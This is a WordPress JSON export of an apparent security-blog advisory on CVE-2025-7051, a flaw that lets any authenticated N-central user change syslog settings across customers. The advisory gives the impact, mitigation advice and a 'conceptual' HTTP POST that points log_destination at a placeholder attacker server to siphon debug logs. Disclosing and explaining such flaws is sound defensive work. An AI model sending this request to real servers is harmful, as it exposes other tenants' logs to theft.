{"id":71651,"date":"2025-09-05T16:55:45","date_gmt":"2025-09-05T16:55:45","guid":{"rendered":""},"modified":"2025-10-20T15:23:22","modified_gmt":"2025-10-20T21:23:22","slug":"cve-2025-7051-unauthorized-access-and-manipulation-of-syslog-configuration-in-n-central","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-7051-unauthorized-access-and-manipulation-of-syslog-configuration-in-n-central\/","title":{"rendered":"<strong>CVE-2025-7051: Unauthorized Access and Manipulation of Syslog Configuration in N-central<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-7051 vulnerability is a serious cybersecurity flaw that affects all deployments of N-central prior to 2025.2. This vulnerability allows any authenticated user to read, write and modify syslog configuration across various customers on an N-central server. As a result, this opens up <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55731-sql-injection-vulnerability-in-frappe-framework-leading-to-potential-data-leakage\/\"  data-wpil-monitor-id=\"79294\">potential for system compromise or data<\/a> leakage, causing significant security concerns for all users and businesses relying on this platform. Given the widespread use of N-central, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31713-a-potential-privilege-escalation-vulnerability-due-to-command-injection\/\"  data-wpil-monitor-id=\"79483\">vulnerability could potentially<\/a> have far-reaching impacts if left unaddressed.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-7051<br \/>\nSeverity: High (8.3 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: User-level<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42957-critical-backdoor-vulnerability-in-sap-s-4hana-exposes-systems-to-potential-compromise\/\"  data-wpil-monitor-id=\"79609\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3038907736\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>N-central | All <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46715-kernel-pointer-vulnerability-in-sandboxie-versions-prior-to-1-15-12\/\"  data-wpil-monitor-id=\"82815\">versions prior<\/a> to 2025.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the fact that N-central does not properly restrict access to syslog configurations. As a result, any <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5821-critical-authentication-bypass-vulnerability-in-case-theme-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"83364\">authenticated user<\/a>, regardless of their privilege level, can read, write, and modify syslog configurations across different customers on an N-central server. This can lead to unauthorized access to sensitive information, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47136-integer-underflow-vulnerability-in-indesign-desktop-versions-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"79785\">potential system<\/a> compromise, and data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3544255777\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52797-critical-cross-site-request-forgery-csrf-vulnerability-in-josepsitjar-storymap\/\"  data-wpil-monitor-id=\"79408\">vulnerability might be exploited using an HTTP request<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/ncentral\/syslog\/config HTTP\/1.1\nHost: target.example.com\nUser-Agent: Mozilla\/5.0\nAuthorization: Bearer {user_token}\n{\n&quot;syslog_config&quot;: {\n&quot;log_level&quot;: &quot;debug&quot;,\n&quot;log_destination&quot;: &quot;{attacker_server}&quot;\n}\n}<\/code><\/pre>\n<p>In the above pseudocode, the attacker, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5060-authentication-bypass-vulnerability-in-bravis-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"85267\">authenticated as a regular user<\/a>, sends a POST request to change the syslog configuration. The &#8216;log_level&#8217; is set to &#8216;debug&#8217; to get detailed logs, and &#8216;log_destination&#8217; is set to the attacker&#8217;s server, effectively redirecting all log information to the attacker.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The primary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30519-default-root-credentials-vulnerability-in-dover-fueling-solutions-progauge-maglink-lx4-devices\/\"  data-wpil-monitor-id=\"90222\">solution to mitigate this vulnerability<\/a> is to apply the vendor-provided patch. The patch should be applied to all instances of N-central as soon as possible. If immediate patching is not feasible, using a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation measure. However, these should not be seen as a long-term solution and the patch should be applied as soon as practicable to ensure robust <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43728-protection-mechanism-failure-vulnerability-in-dell-thinos\/\"  data-wpil-monitor-id=\"90286\">protection against this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-7051 vulnerability is a serious cybersecurity flaw that affects all deployments of N-central prior to 2025.2. This vulnerability allows any authenticated user to read, write and modify syslog configuration across various customers on an N-central server. As a result, this opens up potential for system compromise or data leakage, causing significant security concerns [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-71651","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71651","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=71651"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71651\/revisions"}],"predecessor-version":[{"id":83226,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/71651\/revisions\/83226"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=71651"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=71651"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=71651"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=71651"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=71651"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=71651"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=71651"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=71651"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=71651"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}